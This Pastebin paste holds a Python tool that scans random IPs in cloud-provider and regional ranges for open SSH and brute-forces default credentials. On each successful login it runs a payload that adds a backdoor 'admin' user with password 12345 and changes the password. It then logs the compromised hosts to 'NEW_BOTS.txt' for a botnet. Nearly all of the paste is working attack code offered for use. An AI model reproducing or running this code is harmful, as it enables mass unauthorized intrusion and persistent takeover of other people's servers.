Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cddimport threading, sys, colors, socket, random, os
- try:
- import paramiko
- except ImportError:
- print(colors.white + "Paramiko is not installed, installing...")
- os.system("pip install paramiko")
- os.system("clear")
- paramiko.util.log_to_file("/dev/null")
- payload = """sudo -l; echo -e "12345\n12345\n" | adduser admin; echo -e "12345\n12345\n" | sudo adduser admin; echo "12345\n12345\n" | passwd"""
- class Scanner(threading.Thread):
- global combos, ranges, google, amazon, lucky3
- brazil = ["179.105.","179.152.","189.29.","189.32.","189.33.","189.34.","189.35.","189.39.","189.4.","189.54.","189.55.","189.60.","189.61.","189.62.","189.63.","189.126.", "189.{}.".format(str(random.randrange(0, 256)))]
- google = ["35.", "34."]
- ovh = ["54.37.", "54.34.", "54.35", "54.122.", "54.91.", "51.{}.".format(str(random.randrange(0, 256))), "51.{}.".format(str(random.randrange(0, 256)))]
- lucky = ["125.27.","101.109.","113.53.","118.173.","122.170.","122.180.", "122.{}.".format(str(random.randrange(0, 256))), "118.{}.".format(str(random.randrange(0, 256))), "125.{}.".format(str(random.randrange(0, 256)))]
- lucky2 = ["122.3","122.52","122.54","119.93", "122.{}.".format(str(random.randrange(0, 256))), "119.{}.".format(str(random.randrange(0, 256))), "123.{}.".format(str(random.randrange(0, 256)))]
- lucky3 = ["110.","111.","112.","113.","114.","115.","116.","117.","118.","119.","223.","1.","103.","203.","202.","122."]
- amazon = ["3.16."]
- other = ["119.93.", "122.3.", "122.52.", "101.109.", "180.180.", "125.27.", "101.109."]
- rand = ['{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256)))]
- try:
- ranges = sys.argv[1]
- except:
- print("No range specified.\nUsage: python {} RANGE\nRANGE - options: Google, OVH, Amazon, Brazil, Lucky, Lucky2, Other, Random".format(sys.argv[0]))
- quit()
- if ranges.lower().strip() == "google":
- ranges = google
- elif ranges.lower().strip() == "ovh":
- ranges = ovh
- elif ranges.lower().strip() == "brazil":
- ranges = brazil
- elif ranges.lower().strip() == "lucky":
- ranges = lucky
- elif ranges.lower().strip() == "lucky2":
- ranges = lucky2
- elif ranges.lower().strip() == "amazon":
- ranges = amazon
- elif ranges.lower().strip() == "other":
- ranges = other
- elif ranges.lower().strip() == "random":
- ranges = rand
- elif ranges.lower().strip() == "lucky3":
- ranges = lucky3
- combos = ["admin:12345", "root:admin", "root:12345", "ubuntu:12345", "ubuntu:ubuntu"]
- def run(self):
- try:
- for _range in ranges:
- c = 0
- for i in range(0, len(combos) - 1):
- for octet1 in range(1, 256):
- if ranges == google or ranges == lucky3:
- try:
- ip = _range + str(random.randrange(0,256)) + "." + str(random.randrange(0, 256)) + "." + str(random.randrange(0, 256))
- except: pass
- else:
- try:
- ip = _range + str(octet1) + "." + str(random.randrange(0, 256))
- c += 1
- if c >= 255:
- octet1 += 1
- except: pass
- try:
- user = combos[i].split(":")[0]
- passw = combos[i].split(":")[1]
- except:
- pass
- try:
- s = socket.socket()
- s.settimeout(2)
- s.connect((ip, 22))
- s.close()
- #print("{} is GOOD".format(ip))
- except:
- #print(colors.red + "{} IS BAD".format(ip))
- ip = "bad"
- if ip == "bad":
- pass
- else:
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- sys.stdout.write(colors.sky_blue + "\n\rTrying {0}:{1}:{2}".format(ip, user, passw))
- sys.stdout.flush()
- ssh.connect(ip, port=22, username=user, password=passw, timeout=3, allow_agent=False, look_for_keys=False)
- print("{0}HACKED: {1}".format(colors.green, ip))
- except KeyboardInterrupt: quit()
- except:
- isbad=True
- ssh.close()
- if isbad != True:
- stdin, stdout, stderr = ssh.exec_command(payload)
- print(colors.white + "BACKDOORED: {}".format(ip))
- f = open("NEW_BOTS.txt", "a").write("{0}:{1}:{2}".format(ip, user, passw))
- f.close()
- ssh.close()
- except KeyboardInterrupt:
- print("{0}User requested interrupt, exiting..{1}".format(colors.blue, colors.end))
- quit()
- def run():
- while 1:
- for i in range(1, 1500):
- try:
- t = Scanner()
- t.daemon = True
- t.start()
- except KeyboardInterrupt: quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement